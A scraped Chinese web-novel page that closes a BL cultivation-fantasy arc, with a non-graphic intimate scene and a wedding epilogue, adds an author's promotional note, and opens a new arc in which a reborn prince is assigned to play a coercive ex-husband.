屠天霸顿了顿,眼珠子十分可疑地往旁边瞥了一下,不与男人对视,声量也低了下来,”既然你说…可以,那.…是不是也可以?” 说着,他从袖里乾坤依次掏出锁链、镣铐等酷似刑具等物品,动作间,那些物件发出一连串叮呤当啷的清脆声响,好不热闹。 聂无洄:“ 不知为何,方才那股萦绕在胸腔内,恨不得将自身全然献出的浓烈情绪平复了几分,聂无洄也坐起身来,面无表情地盯着坐在床边的人,手有些痒。良久。 屠天霸瞟着男人的神情,一边伸手想要将锁链收起来,一边解释道:“其实我只是开玩笑的。” 然而,就在他的指尖触碰到冰冷锁链之际,男人忽然按住了他的手,随即牵着他,引领着他,让屠天霸的掌心落在自己的腰带上。 屠天霸:“!”聂无洄抿了抿唇,轻声道:“君子一言,驷马难追,既然允了你为所欲为,你尽兴便可……屠天霸很感动。 随后,他很感动地扯掉了聂无洄的腰带。“那我就不客气了!” …或许是有了前世记忆做铺垫,两人分明知晓这并非真正意义上的‘最后一次’,却无法抑制那股自心底油然而生的决绝。聂无洄失了克制,用力拽着身上之人的领口,手腕牵动着锁链,在寂静中撞出类似玉碎冰裂的响声。他咬破了屠天霸的唇,尝到了铁锈腥气。 屠天霸凝视着男人不断颤动的长睫,仿佛看到了自尾部抖落的细碎光尘,比他所见过的星子更亮,散发着湿润的潮气。 于是,他也丢了尺度,恨不得将人生吞活剥。 男人始终一副甘之如饴的模样。 外头的天亮了,又暗下来。 昼夜交替,日月轮回。 缥缈的云海笼罩着偌大的灵兆峰,木屋融入山野云间,小得几乎看不清,却隔绝了一方天地,只容得下两个相爱的人。所有声音都被琉璃罩收敛。 外面的进不来,里头的出不去。 锁链撞击的清脆之声响了数个昼夜,其中夹杂着沉闷且潮湿的顿响,黏连不清,像是被雨水浇湿了的夜,好狼狈。 好些天了。 屠天霸一次双修心法都没有运行过。 聂无洄自顾不暇,既是无意,也顾不上提醒他。 彼时,锁链镣铐等物件已经被自己的主人无情丢弃在床下,少了那阵叮咣的杂音,屋中之人的呼吸声随之明晰了起来。沉重、急促。 像是被狠狠摔掷的玉,碎了一地。 “.……过去多少天了?” 在一个间隙,屠天霸抱着聂无洄稍作休息,忽然听到男人用一种前所未有的嘶哑声音,问自己今夕是何夕。 他想了想,诚实道:“记不清了。” 聂无洄也不是真的在意过去了多久,只是想同屠天霸说说话。 他枕着身后之人的手臂,缓慢地转过身,往屠天霸的怀里挤了挤,然后微微抬头,眼神怔忪地凝视着对方的面庞。 屠天霸半阖着眼,也望着他。 两人对视了许久。 屠天霸忍不住勾了勾唇,抬手将男人黏在脸侧的鬓发理顺,轻声问道:“你累了?还要继续吗?” 聂无洄全程一动不动,眸光迷蒙恍惚,像是丢了一缕魂,视线怔怔地落在屠天霸脸上,听到这话,才陡然回神。 他没有摇头,也没有吭声,只是将脑袋埋入屠天霸的颈窝中,小腿不自觉地动了动,肌肤传来熊皮毯子的柔软触感,舒服得让人无法割舍。屠天霸顿时心领神会。 原本的寝被早就不能看了,更睡不得人。 屠天霸一边感受着身下熊皮毯子熟悉的触感,一边紧紧拥抱着男人,忍不住喟叹一声,只觉得人生已然无憾,这才是人该过的日子。这都是他辛苦多年应得的! 他亲吻着男人的侧脸,没有了一开始的急切。 聂无洄亦是如此。 两人默契地慢下来。 不知道是谁先开始的,只听见屋子里忽然响起了啵啵啵的响声,宛如夏夜池塘里的蛙鸣,此起彼伏。 屠天霸捏捏男人的耳垂,问:“休息够了吗?” 聂无洄有点想说“我的修为不比你低,也没有那么娇气,但最后他只是点点头,嗯了一声,耳畔仿佛还回响着屠天霸略为低哑的嗓音。 ……很好听。 倏然间,他听到那人慢吞吞地道了声, “阿洄,我有个请求。” 屠天霸顿了顿,继续道:“你能不能不要用这种眷恋又痴情的眼神看着我?稍微凶恶一点,然后也不要我一靠近就舒展开来,最好推推我,假装成不太情愿的样子。”聂无洄听完这一连串的请求,陷入沉默。 又来了。 这种微妙的感觉。 屠天霸分明才是那个需要扮演角色的人,他却咬着怀中人的耳朵,积极地出谋划策道:“最好假装不认识我,就当是练习了,省得你觉得对我动手心中有亏欠!”聂无洄:“………….” 聂无洄很快冷静了下来。 老实说,他对这人的偏好也不是一无所知,只是觉得实在让人难为情,才屡屡沉默以对。 严格来说,是不知说什么才好。 而屠天霸似乎也觉得这点偏好有违自身道德,所以从来不做要求,只是在自己稍有推拒的时候,无意识地表现出几分激动与热切。 有时,聂无洄真想揪着他的耳朵问,怎么会有此等偏好? 有时,他又觉得屠天霸终日与心魔抵抗,还能如此乖巧懂事,很是不易…… 如果某个缩水的小球球知道他这般想法,定要问上一句,“主角,你是否清醒?” 可惜聂无洄的脑子里没有其他声音,帮他打住他逐渐沦陷的念头。 片刻后。 屠天霸只见男人的面颊泛起一抹红,比黄昏霞光还要灼人,视线飘忽地擦过自己的轮廓,透出几分难为情,“求求你,不要这样对我,我的丈夫很快就回来了…聂无洄艰难地说了两句,忽然陷入沉默。 他张了张嘴,打算说完后半句,喉咙里却怎么都发不出声音,然而当他抬眸望向屠天霸的时候,只瞥见了一双亮到发光的眼睛。 屠天霸仰天长啸:“爽——!!!” 他眼泪婆娑地垂下脑袋,望着激动得快要洒泪的自己,语气洒脱到了极点,“你就放心去吧,你的一生,是无悔的一生!” 随即,他发出一阵桀桀桀桀的笑声,整个人饿狼扑食一般的扑向聂无洄,张口就来,“你就叫吧,叫破喉咙也不会有人来救你的!如果不想你的丈夫回来发现你一副破破烂烂的样子,就束手就擒,不要挣扎了!” 聂无洄:“.…… …….”屠天霸:“?”屠天霸小声催促:“你快点挣扎啊。”聂无洄面无表情,精神恍惚地抬手,推开屠天霸近在眼前的脸,“虽然早有预料,但我果然还是做不到…….”总感觉有什么东西永远地离开了他。 屠天霸:“!”屠天霸忍不住小声感慨道:“哇,阿洄,你演的害怕好真实啊,那我也不能输!”他神情一肃,更多不堪入耳的话连珠炮一样地吐出来,钻进聂无洄的耳朵里,以至于聂无洄两只手忙坏了,一边推他的脸,一边堵他的嘴,“不要再说了,你不觉得羞耻吗……屠天霸才刚起了个话头,就被他捂着嘴,发出一连串不甘心的唔唔声,然后晃着脑袋,企图逃脱男人的魔爪。刚才还缠绵的两人忽然斗了起来。比起屠天霸的炼化万物,巴掌服人,还是聂无洄的斗技更加精妙些。他顾不得身上的狼藉,翻身制住四肢扑腾的屠天霸,整个人如同煮熟的虾子一般,红透了。聂无洄甚至有种自己的脸皮烧起来了的错觉,不敢相信自己说出了那般不知羞的话,引得屠天霸口不择言。 可屠天霸哪里会觉得羞耻。 就算要被聂无洄推得五官位移,或是整只手掌塞尽自己嘴里,他也要用尽浑身力气,再一次,大声地喊出那个直抒胸臆的字眼—就在这时。 屠天霸忽然听到一道恼人的咻啪声。系统的电子音紧随其后。 他语调轻快地叮’了一声,播报道“恭喜宿主,任务进度条拉满了,任务奖励就不给你,反正你也不需要,多跟主角双修几年就行了,还是留给有需要的统吧!”“当时在镜中空间,我们已经说好了嘛~” “对了对了,你提的条件我已经做到了,更换后的奖励注意查收哦,费了我很多能量呢!” “正在解除绑定,进度30.… 屠天霸日防夜防,里防外防,防不住系统的电子音,他气红了眼,喉咙里的字眼打了个转,换成了另一个—— “滚!!!!!” 话音刚落。 一个缩水成汤圆大小的白色光球拽着一个比自己大两三圈的蓝色光球,从他额心冒出来,以迅雷不及掩耳飞窜溜走,仿佛稍慢一步,就会被抓住捏爆。“已成功解绑,宿主拜拜~” 这一打岔,屠天霸疑似失去了所有的力气,四肢也瘫软下来,杏眼圆睁,空洞地望着压制着自己的男人。 他的眼眶里流转着晶莹,溢满了说不出的委屈。 见此情景,聂无洄的良心忽然作痛。他忍不住暗暗自省起来。 先前分明是自己亲口说让对方尽兴而为,此时却推三阻四,莫不是伤了他的心? 聂无洄垂着眸,松开按住屠天霸面颊的手,“小修,你怎……. 话到一半。 聂无洄忽然发现了哪里不太对劲。 他的目光一寸寸地扫过屠天霸的五官,很快意识到了什么,不由得摊开左手手掌一看,就见自己的指腹多了一粒鲜红明艳的小痣。是屠天霸鼻梁上的小痣。 ……被、被他抠下来了吗?饶是聂无洄,也有一瞬间瞳孔震惊了。他连忙压低下身,仔细观察屠天霸的鼻梁,却没有发现任何破口,再一看向自己的手掌。那粒红痣不知掉到哪里去了。聂无洄一抬眼,就见屠天霸仍旧是那副心灰意冷的表情,沉默片刻,凑到他耳边轻语了几句。屠天霸一眨眼,精神稍稍振奋 一个月后。 为了暗中捉拿魔修与心魔种,归清门联合各门派举办的仙门大比即将落下帷幕。 此中内情只有各门派掌门与长老知情。 正道弟子一概不知,潜心修炼想要夺得名次,以获得正道第一人,无洄仙君的指点。 只可惜整个赛程,无洄仙君都不曾现身。 剑修弟子简直望眼欲穿。 好在最后一日,无洄仙君姗姗来迟。 残阳如焰,云海被映成一片橙红。 白衣仙君踏空而来,周身剑气仿佛将暮色裁成细碎金粉,簌簌飘落,层层叠叠的白衣似也染上了橙金之色。 但无论是试炼台上下的弟子,亦或是一旁的门派掌门长老,众人的视线忍不住微微侧移,落到与他一同出现的陌生男人身上。 男人高大挺拔,五官俊朗,一双杏眼的轮廓虽圆润,眼尾的线条却凌冽。 他身着一袭黑衣,服饰跟无洄仙君的款式别无二致,袍角也绣着特属归清门的云纹,只不过他未束发冠,微卷的长发半散着,只用一条红绳系起来。看起来恣意随性。 不知为何,众人却觉出一股说不出的仙气。 还是聂无洄打破了沉静的空气。 他冲众人颔首道:“是无洄来迟了,还望诸位见谅。” 在场自然不会有人责怪他。 灵枢山庄的庄主跟聂无洄有些交情,呵呵笑了两声,主动问道:“聂长老,你身边的这位是……. 话音刚落。 黑衣男人便自报家门:“在下明修,亦是归清门的长老,法号‘求静’。” 说到最后几个字,众人莫名听出了一股子咬牙切齿的意味,可男人的神情淡然阔然,众人又觉得是自己听错了。只是…… 归清门什么时候多了个‘求静’长老了?? 没听说过啊? 唯有归清门掌门顾风籍不合时宜地咳嗽两声,表情看上去有些一言难尽,却没有出声反驳什么。 试炼台下。 符悦声只觉得这位长老真是面善,很像他的某位医修朋友,然后无意识地搓了搓手臂,用胳膊肘往后杵了杵, “好奇怪,天气怎么忽然冷下来了?” 他的身后,被某个黑衣男子用寒冷彻骨的目光锁定的徐阙:“…不知道啊。” 不是,我又做错什么了吗?? 徐阙如芒在背,忍不住转头回望,就见归清门的掌门座旁,黑衣男人举起左手,食指与中指指了指自己的眼睛,然后调转方向,指向他…… 【我会一直、一直、盯着你!!】 徐阙沉默片刻,朝坐在一旁的白衣仙君投去一个求助的眼神。 聂无洄也沉默片刻,选择低头喝茶。 好在这场仙门大比还是圆满结束了。 很快。 整个正道宗门都知道,归清门多了一个修为高深的求静长老。 这位求静长老跟无洄仙君举止亲密,疑似道侣。 又是一个月。 刚从归清门返回宗门没多久的各门派就收到了两人的喜帖. …… 道侣大典结束后,明修这个赘长老便迫不及待地带着另一个长老回到了河谷木屋。 两人又开始了勤奋的双修生活。 聂无洄修为恢复后,两人的双修成效简直一日千里,以至于明修的容貌身形逐渐摆脱了少年体态,愈发接近前世的模样。他与炼魂鼎融合的问题仍旧没解决。 然而,随着两人的双修次数叠增,炼魂鼎内的魔气几乎被净化一空,明修恍然发现自己的骨头变成了纯白色,质地温润如玉,洁净极了。他的气质也发生了偌大的改变。 聂无洄倒不奇怪,还解释道:“炼魂鼎的前身本就是上古仙人的白玉仙鼎,鼎内魔气被净化后,你自然也会发生改变……这盛世终究如明修所愿。 他的脑中没有了心魔音,以往渴望的片刻宁静再不是奢望,一觉到天亮反而成了寻常事。 清晨。 明修打着哈欠起床,睡眼惺忪地赤脚往外走,习惯性地掏出一个小玉壶,蹲在门口的一处空地,给泥土浇水。他已经浇了三个月了。 黄褐色的泥土仍旧平坦,什么都没有长出来。 聂无洄也醒了。 他站在窗边望着不远处的男人背影,心中却再也没有恍如隔世的错觉,忍不住微微一笑,问:“你到底在种什么?” 本以为男人又要打哈哈岔开话题,不料明修低头看了好一会儿,忽然仰头冲他喊道:“这可是我们二人一同努力换来的任务奖励,快过来 ”聂无洄心神一动。 他听出来了,男人的语气有些抑制不住的兴奋。 于是,聂无洄穿好衣裳,也往那处走。 还没走到男人跟前,他就远远看见那片泥土冒出了两个肥嘟嘟的小鼓包,一黑一白,稚嫩可爱。 下一刻。明修手里忽然多了一把不及小臂长的小铲子,他迫不及待地道:“终于种出来了,就是多长了一个黑乎乎的丑东西,我这就铲掉它!”聂无洄:“…快住手。”明修见他面色紧张,心中正偷笑着,却高举起小铲子,佯装要把那朵小黑蘑菇给铲了。不等他下铲,明修的脸色忽然拉得老长。 聂无洄瞥他一眼,一把将小铲子夺过来,对他这幅神情见怪不怪,问道:“又是符小友来访,触动了你的法阵?” 明修啧了声,语气烦得很,“听说他跟那个碍眼的老头子吵架了,所以总是来烦我,真是讨.……嘴里说着讨厌,他却将法阵的通信令牌赠予了那个动不动就造访的花孔雀。聂无洄也有些好奇,“为什么吵架?”明修应道:“符悦声想跟那个男的生孩子,那个男的不愿意。”闻言,聂无洄点点头,“修仙者生子,对身体损伤不可预料,徐道友也是顾及符小友的身体。”两人闲话了几句,就听到一阵叮呤当的声音飘过来。符悦声身上的法器越发多了,在日光照射下,整个人宛如行走的虹光,还带着响儿呢。明修不经意地一扭头。就见那人抱着一枚湿漉漉的灵兽蛋走过来,表情有些闷,见到他与聂无洄之后才有了笑模样,然后高举着蛋冲两人打招呼,“好巧啊,我刚才看到河里飘过来一枚蛋,里头的灵兽幼崽似乎快破壳了,也不知道是哪个种族的灵兽…….”明修望着那枚似曾相识的灵兽蛋,心中顿时警铃大作。他一个闪身,冲到符悦声面前,夺过那枚蛋就要往河里丢,“路边的垃圾不要乱捡!万一孵出什么会喘气的东西岂不是还要抚养?!”“赶紧放生自然吧!”不料,灵兽蛋还没脱手,明修便听到一声脆响。“——咔嚓。”明修眼前一黑,只觉得天塌了。待徐阙赶到河谷,就见到一个面容和善,眼神温暖似春风的男人上前揽住自己的肩膀,亲亲热热地打着招呼,“你来了,我等你好久了。”徐阙:“.………害怕。明修拽着他往小木屋的方向走,听着不远处符悦声叽叽喳喳的说话声,下意识地抬眸望过去——目光所及之处,是夕阳西下。是聂无洄微笑着注视他,冲他招手。……喊他回家。作者有话说?显示所有文的作话来了!字数有点超,晚了一个点[可怜]下个单元是末世篇,人形兵器战斗王者扮演【哔—】里装睡的窝囊丈夫,cp是偏执黑莲花美少年,年上(攻比受大),五月份小鸟去休息一段时间,攒攒存稿!六一继续连载新篇章!顺便推推朋友的主受文预收,感兴趣的亲们可以点个收藏,书名:《炮灰觉醒后前任破防了》,书号:8888083文案:引河原本是豪门中有名的纨绔笨蛋,仗着长得好,身边小弟个个心甘情愿簇拥着他当宝。上辈子他对姚晃一见钟情,疯魔般痴缠着姚家的这位私生子,死心塌地给人当舔狗。结局是容貌尽毁人人喊打,被主角攻一脚踢掉,落的死前流落街头的命运。重来一世才知道自己活在一本书中,他的那些行为都是原书设定。面对刚追了一个月,还在用下巴看人的主角攻姚晃。引河嫌弃的将手里的鲜花跟豪车钥匙丢给了一旁的小弟。“送给你了,拿去玩吧。”小弟的欢呼声中,已经做好高姿态等着引河来舔的姚晃,嫉妒的看着那辆豪车,当这一切只是引河的欲擒故纵。结果他上课,没人来给他送早餐了,他打工没人用钱买下最贵的酒了,他生病再也没人,一个电话会跨越半个城来陪他。那个追在他身后,目光永远灼热痴迷的引河,突然就消失了。 第223章Chapter 223 “一定是欲擒故纵,以为这样我就会上当。”姚晃坚决不主动去联系引河,他甚至想好了等引河下次来道歉时,他要让对方给他新看中的豪车帕萨特魅影买单作为赔礼礼物。结果三个月过去了,引河仿佛忘记了他的存在。 他裹着起球的旧棉衣找到引河时,看到了传闻中杀伐决断的霍家家主,他是姚晃遥不可及的存在跟妄想。可这样的人此刻拥抱着引河的动作,却仿佛带着某种压抑已久的强烈侵占,对方突然抬眼,目光如手术刀般剖向他的方向,无声启唇,“滚!” 我打算开的新文,感兴趣的小天使点进去收藏一个吧~ 全能碎催系统不干了[快穿] 我推的男友 我家的小孩 城片场当习 271、Chapter 271 再活一两年,也行吧。 岭南的夜,闷且湿。 空气里的脂粉香也潮了,沉沉地扑在行人的衣襟上,勾得人下意识循香望去,又飞快收回视线,埋头往前走。 原因无他。 软香楼,门口那几盏大红灯笼底下,站着两排腰悬佩刀的王府护卫,里头隐约传出丝竹管弦的靡靡之音,却无人迎客。 众人远远瞧见这阵仗,便知晓了。 —那位岭南王,又在里头寻欢作乐。 当地人已经习惯了这般场面。 除了这位主儿,还有谁逛窑子这么大排场,三五天就要在里头宿一夜,简直将青楼当成了自家的后花园。 楼上,屋内。 香烛摇曳,映亮了一室的荒唐。 薄纱裙落了满地,榻上或坐或躺着几个楼里的哥儿姐儿,全然不顾旁人地缠闹着,任由桌后那人一边酌酒,一边执笔描绘此刻的景色。 “滴答。” 嵇燕台虚握着笔,神情恍惚。 手一抖,墨点污了画。 记忆中,他看见火舌不留情地舔过宫殿里的每一处角落,将所有物件烧成灰烬…… 包括坐在龙椅上的自己。 此时此刻。嵇燕台的脑子难得陷入混乱。 我是谁?我在哪儿?我在干什么? 我不是成功登基了吗?? 我不是死了吗??? 他眨眨眼,视线终于聚了焦,正好撞见榻上那辣眼睛的一幕。 于是,嵇燕台飞快地意识到了一件事。 他的脸上不见惊讶或羞赧,反而愠怒难抑地把笔一扔,咬牙切齿道: ….,我特么又活了?!” 毛笔磕在桌面上,发出一道轻响。 这道响却打断了榻上的把戏,一众哥儿姐儿们瞬间僵住,忙不迭跪了一地。 一片白。 难登大雅之堂的笑闹声夏然而止。 众人不敢抬头,身躯如筛糠般抖着,连带声音也抖得不成样子,逐渐汇成一片卑微的呜咽,仿佛嵇燕台是什么洪水猛兽。 “王爷…… “扰了王爷的雅兴,还请恕罪…… 这副诚惶诚恐的姿态,嵇燕台可太熟悉了,这个称呼更是让他心梗,他忍不住扶着额头,挥了挥手, “行了,都下去。“ “我想静静。” 很快,屋子里只剩嵇燕台一个人。 就在这时。 他忽然听到叮’的一声。 紧接着,一道抑扬顿挫的无机质电子音在他耳边响起,像是第一次见面那般,进行自我介绍。 “宿主,你好,我…… 听着这道陌生的电子音,嵇燕台又意识到了另一件事情,直接打断道:“你是不是想说,你是一个来自高维世界的系统?” 系统空间内。 正要跟新宿主打招呼的N001:“诶?” 嵇燕台冷笑一声,“你是不是还想说,只要我完成了你交代的任务,就可以复活,或者回到自己的世界?” 再次被抢台词的N001:“??” 他说的可都是我的词儿啊。 得到肯定答复后,嵇燕台终于明白什么叫做‘人无语的时候,真的会笑出来’,他笑完,深深地吸了一口气…… 还是憋着吧。 这屋里一股味儿,腻得很。 N001绑定宿主也不是一次两次了,但还是第一次遇到这种情况,不由得好奇问道:“宿主,你以前被其他系统绑定过?” 嵇燕台翻了个大大的白眼,“关你屁事。” 是的。 嵇燕台有一个不为人知的秘密。 曾经的他是一个阳光开朗大男孩,生活在现代社会,沐浴着自由民主的光辉,不料一朝意外身死,被某个自称‘皇帝养成系统’的存在绑定,重生在古代封建社会。 还是课本上不存在的架空朝代。 从此,嵇燕台开始了水深火热的生活。 他降生于深宫中,费劲心力才在那吃人的地方存活下来,后来更是直面天家父子的猜疑,兄弟阋墙的残酷,并成为最终的胜利者。 嵇燕台变强了,也变态了。 空气很安静。 NO01:“.… 咦惹,这个宿主的攻击性好强。 好在N001是个成熟的统了,遇事不慌,换了个稳重的语调,继续自我介绍, “宿主你好,本系统是隶属于时空书局的‘前夫哥扮演系统’,只要宿主扮演对主角虐身虐心的渣男前夫哥,成功补全缺失的剧情点…” “即可获得[苏生],返回原世界哦!” 嵇燕台已经不是以前那个傻白甜了,他满脸不以为意,反问道:“哦,上一个系统好像也是这么对我说的,你看我现在在哪儿?” 在青楼。 说完,嵇燕台懒洋洋地靠入椅背,身下是一方软垫,他环视着满屋的红纱软帐,又低头看了看自己身上的玄色暗金的锦袍…… “我这是穿到谁身上了?” 四肢虚软无力,坐下来还有小肚腩。 一看就是沉溺酒色,身体亏空的油腻老登。 不会染上什么花柳病吧? 万万没想到,那什么扮演系统竟矢口否认,“不是啦,这具身体是统统我刚捏出来的,根据宿主原生世界的身体数据一比一复刻,仅对外貌和年龄进行了更符合角色的微调…… “宿主放心,在所有人的认知里,以后你就是岭南王本王了!” NO01不厌其烦地解释了起来。 关于某个NPC觉醒了自我意识,将好几个书中世界的‘渣男前夫哥’数据彻底删除,从而需要宿主进行补位扮演的故事。 嵇燕台若有所思。 这个系统说,自己现在使用的身体,是他原生世界的身体复刻? 思及此处,嵇燕台缓缓起身,跨过一件件薄纱衬裙,慢踱步到榻边一面约人高的铜镜前。 铜镜表面很光滑,映出华服男人的倒影。 镜中之人面颊瘦削,眼窝深陷,嵌着一双幽深的眸子,整个人透着几分懒倦与病气,却在不经意间溢出一股让人窒息的威压。 嵇燕台只瞥了一眼,就移开视线。 他一屁股坐回椅子里,捏起那只毛笔,随手在纸上画了个大王八,冷笑道:“整这死出,这哪里像我的原生脸了?我要是四十岁长成这肾亏样,半夜都不敢照镜子,怕做噩梦。”片刻沉默后。 那道电子音说:“宿主,这具身体的年龄大约二十八九岁,还不到三十呢。 稍一停顿,电子音补充了一句, “对了,按照宿主现在的人物设定,你是一个不能人道的变态王爷,爱好特殊,喜欢逛花楼,唯爱观摩真人小电影,然后在旁作画。” 闻言,嵇燕台很应景地又画了一只小王八。 随后他甩开笔,身体下滑,在木椅上摆出一个葛优躺,“算了,还是让我死吧,懒得折腾了。” “愿天堂没有系统,阿门。” N001看出宿主的求生欲低微,循循善诱道:“不要拒绝得这么快嘛,要不你先看看原著小说呢?任务很简单的,你只需要对主角强取豪夺,折辱他,欺负他” 嵇燕台闭上眼睛:“不看。滚。” 话音刚落,他的意识深处陡然跳出来一面蓝色光屏,等嵇燕台反应过来的时候,一切都来不及了。 他已经把光屏上的字‘看’完了。 光屏最上方的文名很瞩目。 《二嫁探花》 底下是几行文案简介,概括了小说核心剧情:主角裴湛是如何从新科探花,沦为罪臣之子,遭受常人难以想象的磨难后,最终成功报仇雪恨。 一年前。 裴家卷入一场谋逆案,满门抄斩。 裴湛的恩师极力奔走,方才为他求了个恩典,教他与自己早逝的儿子结阴阳亲,这才免了极刑。 新科探花,就这么成了一介男妻,跟牌位成了婚。 除了他,裴家还有一个活口。 裴湛兄长的幼子,裴允书。 偏偏他因目睹亲眷被斩首,吓得生了一场大病,从此恍若痴儿,不言不语…… 家破人亡,不外如是。 在裴湛恩师的帮助下,这一大一小远离京都,前往岭南避祸。 嵇燕台在文案里看到了自己的名字。 他是对主角裴湛强取豪夺,以幼子为要挟,逼他再嫁,入府为男妾的岭南王,对其百般折辱,最终被这一叔一侄联手反杀,成为他们日后造反的经验包。 忽然,嵇燕台的眉心跳了跳。 ……这个故事好像有点熟悉。 他仍旧闭着眼,意识往下沉,一块藏得很深的记忆碎片却往上浮:男生宿舍里,一个面容模糊的青年对着电脑屏幕噼里啪啦地打字,冷不J回头,冲门口的人说,“燕台兄,你回来了。”“你要是不忙,帮我看看新文呗。”片刻后,一道清朗的声音响起来, “哇,你这个新故事够虐的,主角也太惨了吧?还好这个老变态最后死翘翘了,真是死得活该!” 青年推了推眼镜,兴致高昂地说:“燕台兄,我埋了好多伏笔,且听我细细道来…… “嘭!” 门板重重拍在墙上。 又是几个面容模糊的青年,他们提着好几个外卖盒冲进来,声音大得快要震破天,“儿子们,爸爸回来了!” “嗟,来食!” …. 这是一段很久远的记忆了。 久到,嵇燕台以为自己全忘干净了。 原来他没有啊。 嵇燕台睁开眼,系统光屏仍存在于他面前,与这古色古香的屋内摆设格格不入。他落在扶手上的手指不自觉地敲了敲,神色莫名。 嵇燕台凝视着虚空一点,幽幽地叹了一口气,什么叫死去的记忆在攻击他’? 这就是。 行吧,反正横竖都是要死的。 他也不是非要赶着今天这趟儿。 嵇燕台坐直了些,“说说你的任务。” 系统当即接过话头,应道:“宿主需要补全涉及渣男前夫哥的相关剧情点,今晚就是第一个关键剧情的触发点了。” 话毕,系统光屏跳转到相应片段。 嵇燕台眼睛一扫,提取出关键词条。 裴家有这一难,是得罪了当朝太子。裴湛带着痴傻的侄儿裴允书一路逃往岭南,不料太子派人紧追不舍,两人途中遭到数次暗害,都是险中逃生。 到了岭南,新一轮苦难又拉开序幕。 裴允书被吓得落了病,离不得汤药。 裴湛在岭南毫无人脉根基可言,银钱早在侄儿身上花了个七七儿八,难以支撑高昂的医药费用,自然要做工赚钱。 可他的手筋已断,抄不得书。 再加上他皮相好,早就被有心之人盯上了。 软香楼的鸨母命人打听过,知道他是个外地来的守寡男妻,家里只有一个病重的四岁幼儿,便以寻账房先生的名头将人引了过来…… 裴湛未必没有疑虑。 可形势逼人,他还是同意了。 系统在嵇燕台耳边嘱咐道:“宿主,你要对主角强取豪夺!将主角以男妾的身份带回岭南王府!这个剧情点就算是补完了。” 权势压人,威逼利诱。 嵇燕台熟得很。 他点点头,想到原著片段中的描述,便提前倚到一扇雕花木窗前,顺着窗缝往下看。 略等了等,系统嚎了一嗓子, “来了来了!” 嵇燕台敛眸瞥去,就见街角一处热闹了起来。 几个膀大腰圆的打手当街捉着一个青衣男子,似乎想要将对方拉入楼中,行事张扬极了,全然不顾律法。路人见此情景,只缩着脖子躲远,不敢插手。 兴许是望见门口的王府护卫,打手头子压低了声音,威胁道:“行了,别挣扎了,你以为你能逃得掉吗?” 说完,他又冲其他兄弟打了个眼色, “今晚王爷在此,先把人带进前头的院儿里。” 其中一人拍了拍衣袍上的脚印,恶狠狠道:“要不是看你小子这张脸还值几个钱,当本大爷我稀罕拉你?你家那个小崽子,半只脚都踏进鬼门关了,你自己那手,抖得跟抽风似的,还能写字?“ “是软香楼的妈妈好心,给你一条出路,让你躺着就能赚到银钱…… “你别不识好歹!” 悬挂在楼门前的灯笼将月光染红,王府护卫身上的铁甲亦然,众人就这么冷眼旁观着,对这欺男霸女的场面熟视无睹。 嵇燕台居高临下,只瞥见男主清俊的背影,宛如一杆宁折不弯的翠竹,清贵气质藏不住,似乎已经浸入骨髓。 他摇头叹息:“封建社会,真是太没王法了。” 说完,嵇燕台咳嗽一声,冲楼下唤道: “放肆。“ 话音刚落,楼下众人循声望来。 下一瞬,王府护卫和打手齐刷刷地低头下跪,青衣男子也被压着,叩了个首。 刹那间的对视,嵇燕台看到月光落在他脸上,勾勒出抿紧的唇线,以及那双染着不屈火焰,却又深藏绝望的眼眸。 文人风骨。 嵇燕台的脑袋里冒出了这四个字。 老实说,欺负读书人还挺好玩的。 他笑了笑,对底下跪伏的侍卫道:“当街拉拉扯扯成何体统啊?还不将这位公子请上来,本王倒要问问是非因果,为何如此纠缠不清。” “是!王爷!” 底下人应得很快。 不多时,门外响起脚步声。 侍卫半是请,半是押,将青衣男子带了进来,嵇燕台早就坐了回去,施施然地挥手道:“你们都退下吧,门口守着,本王要跟这位公子单独说说话。” 侍卫首领面露迟疑之色, “王爷,此人身份不明,属下担心… 话未说完,就见桌后的华服男人瞥过来一眼。 侍卫首领的冷汗顿时浸透后背,忙不迭退守于门外,心中还记挂着那个不怒自威的的眼神,下意识地咽了咽口水。 王爷的气势,何时变得如此强盛了? 屋内。 两人一坐一跪,地位分明。 嵇燕台慢条斯理地斟了一杯酒,晃了晃杯,平淡无奇地命令道: “抬起头来。” 青衣男子的肩胛骨绷紧了一瞬,缓缓抬起脸,眼帘却垂着,并未直视嵇燕台。 嵇燕台的目光大咧咧地在他脸上逡巡,好一会儿,才慢悠悠地问道:“你姓甚名谁,遇到了什么困难,说不准本王能替你排解一二。” …草民,容湛。“ 跪地之人吐出姓名,只简单概括了一番软香楼假借招工的名义,想要将他扣下的事情,然后低声道了一句, “多谢王爷为草民解围。” 这个地界儿,能称王的人只有他一个。嵇燕台想了想岭南王的名声,知道裴湛是想息事宁人,不奢求自己为他伸张正义了。 况且,这是在青楼。 正道的光照不进来。 嵇燕台刚客套两句,已经有些不耐烦了,他懒得像原著里那样装模作样,便直接挑破了裴湛的身份,“哦?容?可本王怎么觉得……” “你应当是姓裴呢?” 裴湛的眼皮跳了一下,轻声道:“草民嫁与他人做男妻,容是夫姓。” 闻言,嵇燕台手腕一翻,将斟得满满当当的酒杯放下,开门见山道“一年前那桩宰子,就连本王也听说了,你们裴家有谋逆之心,落得阖族尽亡的下场,只剩下你一人。” 他话锋一转,改口道: “不对,正所谓嫁出去的儿子,泼出去的水,你又从了夫姓,怎么也不能算是裴家子弟了,可怜你年纪轻轻,就要为恩师之子守望门寡了……”“真是可怜。“ 嵇燕台的字字句句,宛如淬了毒的针,精准地扎在裴湛最鲜血淋漓的伤口上。可跪着的那个人神情却平静极了,仿佛早就听过千万遍。 系统空间内。 N001望着光屏上,嵇燕台那副轻描淡写的封建王权形象,默了默,小声提醒道“宿主,原著里的岭南王一开始并没有认出裴湛的身份,只是单纯的见色起意啦“嵇燕台无声应道:“无所谓。” “主角只会觉得我跟太子在暗地里沆瀣气,要将裴家斩草除根,但他现在又不能去跟太子对峙,还不是我说什么,就是什么?” “等他日后见到太子,我坟头草都三米高了。” N001:“.…… 刚才还一副摆烂样儿,现在就进状态了? 不愧是被多次绑定的宿主。 嵇燕台不知道系统的腹诽。 下首,裴湛果真如他所想,疑心岭南王与陷害裴家的太子有所牵扯,再联想到从京都到岭南这一路的遭遇,裴湛再度俯首,低声道:“王爷所言极是,还请王爷…… “高抬贵手。” 嵇燕台不必看原著,学习强取豪夺那一套。他上身微微前倾,声音压得低沉,属于上位者的冰冷掌控欲便倾泻而下,将跪地之人笼罩。 “岭南这地方,瘴疠横行,虎狼环伺。” 裴湛不言语,像是没有听出座上的男人意有所指,只是额头紧贴着地面,伏地的手掌轻颤了几下。 紧接着,他又听男人淡声道: “不过,本王倒是可以为你指一条明路。” 